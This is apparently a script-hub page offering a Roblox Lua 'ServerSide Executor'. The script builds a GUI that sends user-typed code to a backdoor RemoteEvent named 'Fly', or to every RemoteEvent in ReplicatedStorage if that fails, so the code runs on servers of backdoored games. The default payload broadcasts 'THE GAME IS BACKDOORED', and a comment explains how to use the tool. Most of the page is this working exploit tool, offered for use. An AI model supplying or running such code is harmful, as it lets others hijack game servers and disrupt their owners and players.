Elevate SS  Dio return
Key RequiredUniversal

Elevate SS Dio return

Universal ScriptDioggiDioggi 3.8K views 1.7K executesUpdated May 18, 2026
Unrated
00
Lua Script•147 lines (5762 chars)
--[=[
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88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
88      88    88    88            odD'      88      88    88 88ooo88 
88  ooo 88    88    88          .88'        88      88    88 88~~~88 
88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88    @uniquadev
 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER 

designed using localmaze gui creator
]=]

-- Instances: 9 | Scripts: 2 | Modules: 0 | Tags: 0
local LMG2L = {};

-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade
LMG2L["Elevate Ss Fanmade_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
LMG2L["Elevate Ss Fanmade_1"]["Name"] = [[Elevate Ss Fanmade]];
LMG2L["Elevate Ss Fanmade_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
LMG2L["Elevate Ss Fanmade_1"]["ResetOnSpawn"] = false;


-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate
LMG2L["Elevate_2"] = Instance.new("Frame", LMG2L["Elevate Ss Fanmade_1"]);
LMG2L["Elevate_2"]["BorderSizePixel"] = 2;
LMG2L["Elevate_2"]["BackgroundColor3"] = Color3.fromRGB(28, 43, 54);
LMG2L["Elevate_2"]["Size"] = UDim2.new(0, 414, 0, 266);
LMG2L["Elevate_2"]["Position"] = UDim2.new(0, 10, 0, 148);
LMG2L["Elevate_2"]["BorderColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Elevate_2"]["Name"] = [[Elevate]];


-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Title
LMG2L["Title_3"] = Instance.new("TextLabel", LMG2L["Elevate_2"]);
LMG2L["Title_3"]["BorderSizePixel"] = 2;
LMG2L["Title_3"]["TextSize"] = 40;
LMG2L["Title_3"]["TextXAlignment"] = Enum.TextXAlignment.Left;
LMG2L["Title_3"]["BackgroundColor3"] = Color3.fromRGB(28, 43, 54);
LMG2L["Title_3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Title_3"]["Size"] = UDim2.new(0, 412, 0, 50);
LMG2L["Title_3"]["BorderColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Title_3"]["Text"] = [[Elevate]];
LMG2L["Title_3"]["Name"] = [[Title]];
LMG2L["Title_3"]["Position"] = UDim2.new(0, 2, 0, 2);


-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Input
LMG2L["Input_4"] = Instance.new("TextBox", LMG2L["Elevate_2"]);
LMG2L["Input_4"]["Name"] = [[Input]];
LMG2L["Input_4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
LMG2L["Input_4"]["TextWrapped"] = true;
LMG2L["Input_4"]["TextSize"] = 30;
LMG2L["Input_4"]["TextColor3"] = Color3.fromRGB(14, 255, 0);
LMG2L["Input_4"]["TextYAlignment"] = Enum.TextYAlignment.Top;
LMG2L["Input_4"]["BackgroundColor3"] = Color3.fromRGB(28, 42, 54);
LMG2L["Input_4"]["ClearTextOnFocus"] = false;
LMG2L["Input_4"]["PlaceholderText"] = [[Elevate]];
LMG2L["Input_4"]["Size"] = UDim2.new(0, 366, 0, 142);
LMG2L["Input_4"]["Position"] = UDim2.new(0, 28, 0, 70);
LMG2L["Input_4"]["BorderColor3"] = Color3.fromRGB(147, 157, 173);
LMG2L["Input_4"]["Text"] = [[local m = Instance.new("Message") m.Parent = game.Workspace m.Text = "By elevate ss THE GAME IS BACKDOORED" wait(3) m:Destroy() ]];


-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Execute
LMG2L["Execute_5"] = Instance.new("TextButton", LMG2L["Elevate_2"]);
LMG2L["Execute_5"]["BorderSizePixel"] = 2;
LMG2L["Execute_5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Execute_5"]["BackgroundColor3"] = Color3.fromRGB(0, 113, 1);
LMG2L["Execute_5"]["Size"] = UDim2.new(0, 178, 0, 42);
LMG2L["Execute_5"]["BorderColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Execute_5"]["Text"] = [[Execute]];
LMG2L["Execute_5"]["Name"] = [[Execute]];
LMG2L["Execute_5"]["Position"] = UDim2.new(0, 216, 0, 218);


-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Execute.LocalScript
LMG2L["LocalScript_6"] = Instance.new("LocalScript", LMG2L["Execute_5"]);



-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Clear
LMG2L["Clear_7"] = Instance.new("TextButton", LMG2L["Elevate_2"]);
LMG2L["Clear_7"]["BorderSizePixel"] = 2;
LMG2L["Clear_7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Clear_7"]["BackgroundColor3"] = Color3.fromRGB(112, 0, 0);
LMG2L["Clear_7"]["Size"] = UDim2.new(0, 180, 0, 42);
LMG2L["Clear_7"]["BorderColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["Clear_7"]["Text"] = [[Clear]];
LMG2L["Clear_7"]["Name"] = [[Clear]];
LMG2L["Clear_7"]["Position"] = UDim2.new(0, 28, 0, 218);


-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Clear.LocalScript
LMG2L["LocalScript_8"] = Instance.new("LocalScript", LMG2L["Clear_7"]);



-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.UIDragDetector
LMG2L["UIDragDetector_9"] = Instance.new("UIDragDetector", LMG2L["Elevate_2"]);



-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Execute.LocalScript
local function C_6()
	local script = LMG2L["LocalScript_6"];
	local rs = game:GetService("ReplicatedStorage")	
	local button = script.Parent	
	local box = script.Parent.Parent.Input	
	button.MouseButton1Click:Connect(function()	
	 local code = box.Text	
	
	 if code == "" or code == "-- Ready to execute" then	
	  return	
	 end	
	
	 local rs = game:GetService("ReplicatedStorage")	
	 local backdoor = rs:FindFirstChild("Fly")	
	
	 local success = false	
	 if backdoor and backdoor:IsA("RemoteEvent") then	
	  success = pcall(function()	
	   backdoor:FireServer(code)	
	  end)	
	 end	
	
	 if not success then	
	  for _, v in pairs(rs:GetChildren()) do	
	   if v:IsA("RemoteEvent") then	
	    task.spawn(function()	
	     v:FireServer(code)	
	    end)	
	   end	
	  end	
	 end	
	end) 	
	
end;
task.spawn(C_6);
-- Players.SCPTT32.PlayerGui.Elevate Ss Fanmade.Elevate.Clear.LocalScript
local function C_8()
	local script = LMG2L["LocalScript_8"];
	script.Parent.MouseButton1Click:Connect(function()	
	script.Parent.Parent.Input.Text = ""	
	end) 	
end;
task.spawn(C_8);

return LMG2L["Elevate Ss Fanmade_1"], require;

Features & Information

Roblox ServerSide Executor.

Community Comments (1)

DioggiDioggiMay 27, 2026

@mzpaqhaha used translator. You have to go to backdoored game and type require.

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